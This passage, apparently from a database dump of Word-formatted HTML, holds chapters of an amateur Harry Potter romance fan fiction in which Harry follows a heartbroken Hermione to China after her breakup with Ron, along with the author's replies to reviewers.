wasn&#8217;t\npossible, well, not in logical sense. Was it just her imagination? Hermione looked\nup and saw a figure zoom towards her. She squinted her eyes as the bright\nsunlight was glaring. <i style="mso-bidi-font-style:normal">Harry? What is he\ndoing here? </i>&nbsp;Before you could say\n&#8220;What the&#8230;&#8221; Harry had already come crashing into the pool, sending the water\nover the edge and wetting the dry grass that surrounded the pond. </p>\n\n<p class="MsoNormal">&#8220;Harry,\nwhat do you think you are doing?&#8221; Hermione asked as she wiped away the droplets\nof water from her face. Harry emerged slowly from the pond. His hair was\nplastered flat around his face and the tuxedo he was wearing was completely\nwet. He fished out his broom and muttered a drying spell on it. </p>\n\n<p class="MsoNormal">&#8220;What am I\ndoing? Well, what are you doing here Hermione?&#8221; Harry asked, sitting on the\ngrass. Hermione lifted herself out of the pool and sat beside him around the edge,\nher legs dangling in the water. Silence filled the area. Hermione was unwilling\nto say anything. </p>\n\n<p class="MsoNormal">&#8220;You can\nnot say why you weren&#8217;t here, but do you know that Ron is worried about you?&#8221;\nHarry stated, hoping that it would knock some sense into her. Hermione only\nstood up.</p>\n\n<p class="MsoNormal">&#8220;HE&#8217;S\nWORRIED AOBUT ME? OH YEAH, TELL ME ALL ABOUT IT. THE SUN WOULD BE RISING FROM\nTHE EAST WHEN HE ACTUALLY CARES.&#8221; Hermione shouted, panting heavily after that\ndue to a lack of breath. Harry stood up and grasped her by the shoulders. </p>\n\n<p class="MsoNormal">&#8220;Do you\nbelieve that he really believed that he say that? He was cursed; those words\ndid not come from his heart.&#8221; Harry reasoned. He hated seeing his friends in\nthis state. One was dazed, the other weeping, and now, he is stuck in the\nmiddle. </p>\n\n<p class="MsoNormal">&#8220;How would\nI know whether the words came from his heart?&#8221; Hermione said, looking away, not\nwilling to look at Harry in the eye. &#8220;I only know that those are the words I\nheard.&#8221; Hermione said softly. Harry caught them and shook Hermione gently. </p>\n\n<p class="MsoNormal">&#8220;Hermione,\nlisten.&#8221; Harry continued. &#8220;No, you listen.&#8221; Hermione butted in, looking at\nHarry once again. &#8220;There&#8217;s nothing you can do. I am confused. Who should I\ntrust? You? Hailey? Or Ron? I mean, I don&#8217;t know. I&#8230; I&#8230; It&#8217;s not easy, I really\ndon&#8217;t know what to do.&#8221; Hermione continued, shaking her head rapidly, choking\nback her tears. </p>\n\n<p class="MsoNormal">&#8220;Hermione,\nI can assure you that Ron is not lying.&#8221; Harry said. He was worried now. What\nwould become of them both? </p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t\ncare whether he is lying or not. All I want to do now is to just&#8230; just leave\nhere for a while. I want no explanation. There was enough today.&#8221; Hermione\nchoked, tears rolling down her cheeks. Harry wiped them away. </p>\n\n<p class="MsoNormal">&#8220;No\nHermione, at least listen to what he has to say. I know he does love you. He\ndoes treasure, and cherish you. He will be worried and won&#8217;t be able to sleep a\nwink if you do not let him explain.&#8221; Harry said, with high hopes that she would\nlisten.</p>\n\n<p class="MsoNormal">&#8220;No Harry,\ndon&#8217;t try to persuade me. I won&#8217;t see him. I won&#8217;t. You can&#8217;t make me. So stop\ntrying.&#8221; Hermione cried. Harry ran a hand through his now already dried hair.\nThis is getting worser and worser. It was like, they were trap in some spider\nweb and unable to get out. Is this the end of Hermione and Ron&#8217;s relationship\ncum friendship? Was 7 years not comparable to a lie? Who could have\nbeen so evil as to set him up? Was it an evil plan? Harry didn&#8217;t know. They\nwere like, falling slowly into some trap unknowingly, some trap set up by\nsomebody, somebody out to break Hermione and Ron up. </p>\n\n<p class="MsoNormal">&#8220;Harry.&#8221;\nHermione said, breaking Harry&#8217;s train of thought. &#8220;You&#8217;ve said before in our 7th\nyear that you would support me in whatever I do, and go wherever I requested\nyou to.&#8221; Hermione continued softly. Harry just nodded. &#8220;Would you accompany me\nto China?&#8221; Hermione said abruptly. </p>\n\n<p class="MsoNormal">&#8220;Accompany\nyou to China? But&#8230;&#8221; Harry said trailing off.\nHermione put a finger on his lips, silencing him at the same time. </p>\n\n<p class="MsoNormal">&#8220;Yes,\nfollow me to China.&#8221; Hermione continued. Harry\nremoved Hermione&#8217;s finger. </p>\n\n<p class="MsoNormal">&#8220;But I can&#8217;t\nleave Ron alone, well, not at this time.&#8221; Harry tried his best to reason. He\nwas in a dilemma. <i style="mso-bidi-font-style:normal">This is what I get when\nI have two best friends who are ex-lovers. </i>Hermione started walking out of\nthe greenery. At the border, she turned around.</p>\n\n<p class="MsoNormal">&#8220;Either\nyou follow me, or you stay behind with Ron.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sorry this\nchapter was late, but I finally got to writing it. Was away in a chalet for 3\ndays. Please Read and Review. Hope you&#8217;ve enjoyed my story.&nbsp; I will try and get the next chapter up as\nsoon as possible. So would Harry follow Hermione to China? </p>\n\n<p class="MsoNormal">&nbsp; <i style="mso-bidi-font-style:normal">&nbsp;&nbsp;</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n\n\n\n\n\n\n'),
	(23, 4, '\n\n\n\n\n\n\n\n<p class="MsoNormal">One Moment in Time.<br>\n<br>\nAuthor: Ohepelss Oramtnci<br>\n<br>\nSpoilers: All four books<br>\n<br>\nCategory: Romance<br>\n<br>\nRating: Pg- Pg-13<br>\n<br>\nSummary: Ron and Hermione broke up and Hermione is devastated. Harry stands by\nher and helps her pull through this time of difficulty. Would love eventually\nblossom between them?<br>\n<br>\nDisclaimer: All Harry Potter related characters belong to J,K. Rowling. OC\ncharacters belong to me.<br>\n<br>\nAuthor Notes: Hope that you will enjoy the story and please read and review.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Usha88 - </b>Thanks, and yes, I had\nfun :)</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Sew2100 - </b>You will know whether\nhe follows later :D </p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">CandyHeart </b>- I am keeping up</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Imran/Nappa - </b>Hmm, yah, maybe she did\nget confuse, with Ron contradicting himself. </p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Saturnfan </b>- How this story turns\nout is only known later... but yes, I do have a plan of my own :P </p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Hermione Potter </b>- I am updating now </p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Kimpisces - </b>*Salutes* Yes Mdm.\n*proceeds typing furiously*</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">The only Emily - </b>Screw Ron? Would Harry\ndo that? &nbsp;<b style="mso-bidi-font-weight:\nnormal">&nbsp;</b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">&nbsp;</b></p>\n\n<p class="MsoNormal">Thanks\nto all of you who revived. I really appreciate it. :D And now, I will present\nyou with the next chapter. Hope you all enjoyed it. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Chapter\n4: HEMIONE, WAIT FOR ME!!&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Either\nyou follow me, or you stay behind with Ron&#8221; Hermione said as she turned around\nand walked out of the island. Harry look at her, dumbstruck. <i style="mso-bidi-font-style:normal">Oh, when did we have to come to the\nsituation where I am made to choose between them? Both are my best friends&#8230;\nwhich should I follow? Which? Ron needs me, so do Hermione. Both are not in the\nright mind and might do something foolish. If I stay behind with Ron, Hermione\nwould be all alone in a foreign place. If I leave with Hermione, Ron would have\nno one he can confide in. It wasn&#8217;t totally Ron&#8217;s fault after all. Who is this\nHailey? Who? </i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal">Harry\nshouted in frustration. Why did he have to choose? What would Ron say if he\nchose Hermione? What would Hermione say if he chose Ron? What would both of\nthem say if he chose neither? Or he chose both? <i style="mso-bidi-font-style:\nnormal">Hmm, how about letting fate decide? </i>Harry took out a coin. <i style="mso-bidi-font-style:normal">Heads, I stay with Ron, Tails, I stay with\nHermione. </i>Harry proceeded to flip the coin. The coin flew up into the air\nand spun around for a few times before falling. Harry proceeded to catch it,\nbut missed. The coin fell on to the grass. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nsighed and went on all fours searching for the coin. The coin was found, but it\nshowed neither heads nor tails, it was stuck in the middle of the sand. Harry\ngrumbled, picking the coin up and flipping it again. He had the coin in hand,\nbut it slipped from his hands and landed on the ground, same position as the\nfirst time. Harry proceeded to flip the coin, but each time, it showed no\nheads, no tails. Harry was getting frustrated and looks up at the sky. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">What kind of games are\nyou playing with him? Give me an answer please. I am tired of flipping the\ncoin. I have been like flipping it for the past half hour for countless of\ntimes and each time; you give me the same answer. I give up. </i>Harry picked up the\ncoin and threw it into the water. And as if like magic, the coin rebounded back\nand landed on the ground before him. Harry peered down at it. It was still the\nsame position as the first time he threw it. Harry looked down at it in astonishment\nand began feeling something creepy about the surroundings. Picking up his\nbroom, he flew away on it, hoping to leave the island as soon as possible. As\nsoon as he was out of sight, the coin rose gently and flip it self gently, only\nto land on the side of tails. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nhad long apparated out of the island and had arrived at the airport in a\nsweater and a pair of jeans. She had made up her mind and was adamant about\ngoing to China. She didn&#8217;t know\nwhether Harry was going. <i style="mso-bidi-font-style:normal">Should I buy his\nticket, or shouldn&#8217;t I? Would he stay with Ron or come with me? Should I buy,\nor should I not buy. Let&#8217;s leave it to fate then. </i>Unlike Harry, Hermione\ndid not flip a coin. She picked a flower and began pulling the petals off the\npoor sunflower. &#8220;Buy, don&#8217;t buy, buy, don&#8217;t buy&#8221; Hermione began muttering under\nher breath. Finally, she came to the last petal and was about to say &#8220;Buy&#8221; when\nshe saw that it was half a petal. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">What? A half petal&#8230;\nbut, but&#8230; that never happened before? Than it&#8217;s in the middle of buy and don&#8217;t\nbuy. So what should I do? Pick another flower? </i>Hermione decided it was\nbest to pick another flower again. However, the result was the same, a half\npetal. She began picking the flowers one by one and soon, the flowers on\ndisplay slowly disappear and soon, none was left. Hermione looked at the amount\nof petals around her. She gave up and decided to buy the tickets at a later\ndate. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As\nshe left the airport, the wind blew gently and all the half petals formed full\npetals and if counted correctly, it said, &#8220;Buy&#8221;. It looks like our friend; fate\nhas decided to play a little joke on our two characters here, giving answers\nonly when they had left. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nflew into the burrow, landing into a pile of tissues, wet tissues. <i style="mso-bidi-font-style:normal">Eww&#8230; wet tissues&#8230; </i>Harry proceeded to\nremove the tissues gingerly off his clothes and arms. Just as the last piece of\ntissue was removed, Harry heard a sobbing noise. Harry set his broom on the\nground and wall quietly up the steps and opened the door to the room where the\nnoise was coming from. Uh-oh, Harry made a wrong move. As he opened the door, a\nmountain of wet tissues tumbled upon him, bringing him crashing down the steps\nof the burrow, and landing tangled up among tissues on the floor. Harry could\nbarely move.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;RON!!!!&#8221;\nHarry shouted with all his might, hoping Ron could hear him through all these\ntissue. Ron&#8217;s head poked out of the door. His eyes were all red and puffy and\nhis nose and swollen to the size of a pear. He waved his wand and all the\ntissues disappear in an instant, and Harry, who no longer had support from the\ntissues, fell onto the ground. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oof&#8221;\nHarry called out as he landed on the hard floor of the burrow. It was a hard\nfall. Ron, seeing that the tissues were gone, gave a loud sob (a/n: imagine\nmoaning myrtle in the movie every time Ron sobs) before returning back to his\nroom. Harry picked himself up and ran up the stairs into Ron&#8217;s room. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s\nwith the tissues?&#8221; Harry demanded to know. Ron just looked at him and gave\nanother large sob. Harry looked at him in disbelief. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;When\ndid you become another moaning myrtle?&#8221; Harry asked, sitting on Ron&#8217;s bed. Ron\nlooked at Harry again and gave another large sob, and stopped. Looking at\nHarry, he said, &#8220;Ever since Hermione left me.&#8221; His face changed again and he\nlet out another large sob. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You\ndon&#8217;t say, how many packets of tissues did you use up?&#8221; Harry asked,\nremembering the pile that had tumbled upon him. Ron stopped sobbing and\nthought. &#8220;Maybe a 100?&#8221; Ron said as he returned to sobbing. Harry closed his\nears. <i style="mso-bidi-font-style:normal">Moaning Myrtle was troublesome, but\nMoaning Ron is worse. </i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron,\nyou have to stop this. If you love Hermione, tell her. If not, she would leave.&#8221;\nHarry persuaded. Ron threw away the tissue it was holding. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Tell\nher? I did, but would she listen? She wouldn&#8217;t even make and effort. Why should\nI always be the one to do that? It&#8217;s her turn. If she loves me, she should tell\nme. I have told her enough times already, and I am tired that it is always I who\nhas to make an effort to patch things up. If she really cares about this\nrelationship, she should try to. Why should it just be me?&#8221; Ron said, turning\naround. Harry looked at him and rolled his eyes and stood up. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are\nyou really going to sit here and wait for her to come back and say I love you?\nWhy don&#8217;t you do it? You hurt her in the first place.&#8221; Harry tried to reason.\nHowever, advice always falls on deaf ears and Ron did not listen. He stood and\nturned around, wanting to walk out of the door, only to slip on the wet tissue\nand fall flat on his face. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron,\nyou can&#8217;t hide forever. You can&#8217;t just sit there and wait for her to come back\nto you. It just isn&#8217;t right. Go and beg her to stay, tell her that you were\nunder and influence and&#8230;&#8221; Harry trailed on and by this time, Ron had already\npicked himself up and glared at Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;NO!!&#8221;\nHe shouted firmly before he left the room and slammed the door behind him.\nHarry looked at him in astonishment. All his efforts had gone down the drain.\nRon sure is temperamental. One moment, he is sobbing away and the next moment,\nhe stomps out of his room, angry. Harry summoned his broom and decided to\npersuade Hermione instead. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nhad been walking in and out of the gates of the airport. She had wanted to buy\nthe ticket at a later date. One part of her fear that there would be none, part\nof her fear that the money will go down the drain. After moving through the\ngates about a 1000 times, Hermione decided to buy the tickets. She&#8217;d rather\nwaste money than not be able to leave at all. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nmove towards the counter which was empty. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How\nmay I be of service to you?&#8221; The lady asked, looking up, smiling warmly at\nHermione. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nwould like to book 2 tickets to China.&#8221; Hermione said,\nwaiting impatiently as the lady checked through her records. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;When\nwould you like to leave?&#8221; The lady asked again, looking up from her computer.\nHermione felt dumbstruck all of a sudden. She hadn&#8217;t decided when she wanted to\nleave, but felt best for it to be next week.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Er&#8230;\nhow about sometime next week?&#8221; Hermione asked, unsurely. The lady smile and\nnodded and began typing into her computer. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;The\nearliest is next week Monday. Would it do fine?&#8221; Hermione nodded as the lady\ntyped more stuff into the computer. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;ll\nbe 6000 pounds please.&#8221; The lady said. Hermione gave her a credit card as she\nwaited. The ladies looked up in a few minutes and passed her the tickets. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Please\nremember to board about 45 minutes the plane takes off.&#8221; The lady smiled.\nHermione forced a smile back and left with the tickets.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nhad been waiting like ages in Hermione&#8217;s house. <i style="mso-bidi-font-style:\nnormal">Where could the girl have gone? </i>Harry was about to leave when he\nheard a &#8216;pop&#8217; sound. Hermione had just returned and she seemed glad to see\nHarry. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry,\nI do not know whether you will be following me to China, but here&#8217;s the\nticket. If you really are going with me to China, meet me at the\ndeparture gate at 10.30am.&#8221;Hermione said,\nshoving a ticket into his hand. Harry looked at it, unsure of what to do. Now\nhe really had to choose and the stupid coin did not give him an answer. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione,\nwhy don&#8217;t you try talking to Ron? Tell him you care&#8230;&#8221; Harry spoke before he was\ncut off by Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;WHAT!!!\nGO RUNNING BACK TO HIM AND SAY THAT I AM SORRY? NOT A GHOST OF CHANCE. IT&#8217;S HIS\nFAULT THIS TIME AND I AM NOT GOING TO SAY SORRY. HE SHOULD BE THE ONE TOO.&#8221;\nHermione said, shouting furiously. Harry backed away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t\never ask me to do that again, if not, we can&#8217;t even be friends.&#8221; Hermione said\nfirmly before walking into her room. Harry looked at her disappearing figure. <i style="mso-bidi-font-style:normal">How did I ever get myself into a mess like\nthis? </i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Finally,\nit was Monday. Hermione had her stuff all packed and had already checked them\nin. Her passport and ticket was in her hands. She double checked her watch one\nlast time. <i style="mso-bidi-font-style:normal">I know I was a little harsh on\nhim last time, but I really hope that he would stand by me this time&#8230; </i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione.&#8221;\nA voice called out from behind, breaking Hermione&#8217;s train of thought. The first\nthough that came to her mind than was Harry and she turned around and looked.\nHarry was running towards her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry,\nyou&#8217;ve decided to come!!&#8221; Hermione said happily, knowing that she wouldn&#8217;t be\nalone in China. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No,\nHermione&#8230; I can&#8217;t&#8230;&#8221; Harry stuttered. &#8220;Ron needs me more&#8230; I am so sorry.&#8221; Harry\ncontinued. &#8220;Take care&#8230; and be careful&#8230;&#8221; Harry said, looking up at Hermione. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Fine,\nstay with that prat and leave me alone.&#8221; Hermione shouted, grabbing her bag and\nheading towards the departure gate. As she stepped into the hall, guilty\nconscience pricked Harry. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">If\nHermione went to China, she would be all\nalone in a foreign place. However, Ron was still remaining in England where he had his\nsister to look after him. He whipped out his phone and made a quick phone call\nto Ginny as he ran in. He had brought his passport and the ticket in case he\nchanged his mind. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ginny?\nIs that you?&#8221; Harry spoke into the phone as he handed the guard his passport\nand ticket.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yah,\nit&#8217;s me.&#8221; Ginny replied back. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nam going after Hermione to make sure nothing happens. Help me look after Ron.&#8221;\nHarry said as he made his way into the hall.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No\nproblem. Remember to bring her back. Bye.&#8221; Ginny replied. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks\nand bye.&#8221; Harry said as he whipped his handphone shut and ran frantically after\nHermione, his arms frantically waving too for her attention and he shouted. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;HERMIONE,\nWAIT FOR ME!!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Yay!!!\nI am done with this chapter. Hope you liked it :D If you want updates of the\nnext chapter, please leave your e-mail here and I will notify you :D Bye bye. <br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n\n'),
	(23, 5, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="text-align:center" align="center">One Moment in time</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Author:\nOhepelss Oramtnci<br>\n<br>\nSpoilers: All four books<br>\n<br>\nCategory: Romance<br>\n<br>\nRating: Pg- Pg-13<br>\n<br>\nSummary: Ron and Hermione broke up and Hermione is devastated. Harry stands by\nher and helps her pull through this time of difficulty. Would love eventually\nblossom between them?<br>\n<br>\nDisclaimer: All Harry Potter related characters belong to J,K.\nRowling. OC characters belong to me. The song is copyrighted to Savage Garden, I knew I\nloved you<br>\n<br>\nAuthor Notes: Hope that you will enjoy the story and please read and review.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">~*~</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><b style="mso-bidi-font-weight:normal">Nappa</b> &#8211; Well, for one thing, I am not British, and\nwell *smile sheepishly* I don&#8217;t know how much they cost</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">~*~</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;Chapter 5: Harry, Yes? Shut Up</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;HERMIONE, WAIT FOR ME!!!!&#8221; Harry shouted as he rushed through the check-in desk.\nHermione turned around. Hermione&#8217;s frown turned into a\nweak smile. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So, you have decided to\ncome.&#8221; Hermione said as she set down her luggage. Harry\nsmiled at her and caught his breath. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh-oh&#8221; He\nsaid suddenly. Hermione looked up at him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t\ntell me you have changed your mind again?&#8221; Hermione\ncommented, crossing her arms and tapping her foot. Harry shook his head. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I have no clothes? What\nam I supposed to change into?&#8221; Harry asked. Hermione\nstifled a giggle and looked at her watch. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Apparate home silly. I\nwill wait here for you. We only need to board the plane in 10 minutes.&#8221; Hermione said, pointing at her watch. Harry nodded and\nquickly apparated home. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Pop&#8217;\nHarry apparated into his room and pulled a luggage out from the top of the\ncupboard and grabbed a few clothes and stuffed them hastily into his brown\nleather case. <i style="mso-bidi-font-style:normal">Now, now, now, what else\ndid I left out?</i> Harry scanned the room and rummaged his drawers. A picture\nof Ron fell out. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">That&#8217;s\nit. I have to leave a note for Ron in case he comes looking for me. </i>Harry whipped out a quill\nfrom his pocket and grabbed some parchment on the table and scrawled in a messy\nhandwriting. Obviously, his handwriting didn&#8217;t improve\nlike others did and it still remained like it was 7 years ago. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:\nnormal"><u>Ron,</u></i></b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:\nnormal"><u>&nbsp;</u></i></b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:\nnormal"><u>&nbsp;&nbsp;&nbsp; I am away, going after Hermione. Well, you\nshould work too and try to find her. If you ever straighten your thinking and\ndecided that you want her back, you can find her in </u></i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"><u>China</u></i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"><u>, though I am not exactly\nsure which part she will be in by than, but yes, </u></i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"><u>China</u></i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"><u>. And don&#8217;t take too long, and don&#8217;t expect\nher to come after you either. I have tried talking to both of you but neither\nwill listen. You are at fault this time, so&#8230; please, do\nsomething. And don&#8217;t worry, Hermione will be fine. Owl me if you need or want anything from </u></i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:\n  normal"><u>China</u></i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:\nnormal"><u>.</u></i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"><u> </u></i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt"><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal"><u>&nbsp;</u></i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt;text-align:right" align="right"><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"><u>Yours Sincerely,</u></i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt;text-align:right" align="right"><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"><u>Harry Potter</u></i></b></p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">Satisfied, Harry tucked the quill back in his\npocket and tacked the note to the door of his room. <i style="mso-bidi-font-style:\nnormal">Surely Ron can&#8217;t miss it? </i>With that, he apparated\nback to the airport and walked out of the toilet cubicle, luggage and all,\nsurprising a muggle who was busy relieving himself. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">He walked back to where Hermione was seated and\nsat down beside her. Hermione just turned around and look at him. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;What were you doing back\nhome? Saying goodbye to all the furniture? You sure took a mighty 20 minutes to\npack everything when you were given only 10 minutes.&#8221;\nHermione said, sarcasm laced in her voice. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;I was only 10 minutes\nlate.&#8221; Harry complained but Hermione had already begun\ndragging him towards the gate.</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;If you don&#8217;t hurry, the plane is going to leave without us.&#8221; Hermione said as she pulled him all the way up on the\nplane. </p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">~*~</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:27.0pt">&#8220;Give me another cup of\ntequila.&#8221; Ron said, burping abruptly. The bartender\nserved the wine and left to tend another customer. Ron took another shot of\ntequila. Where was Harry when you need him? His wife has left him, now even his\nbest friend is 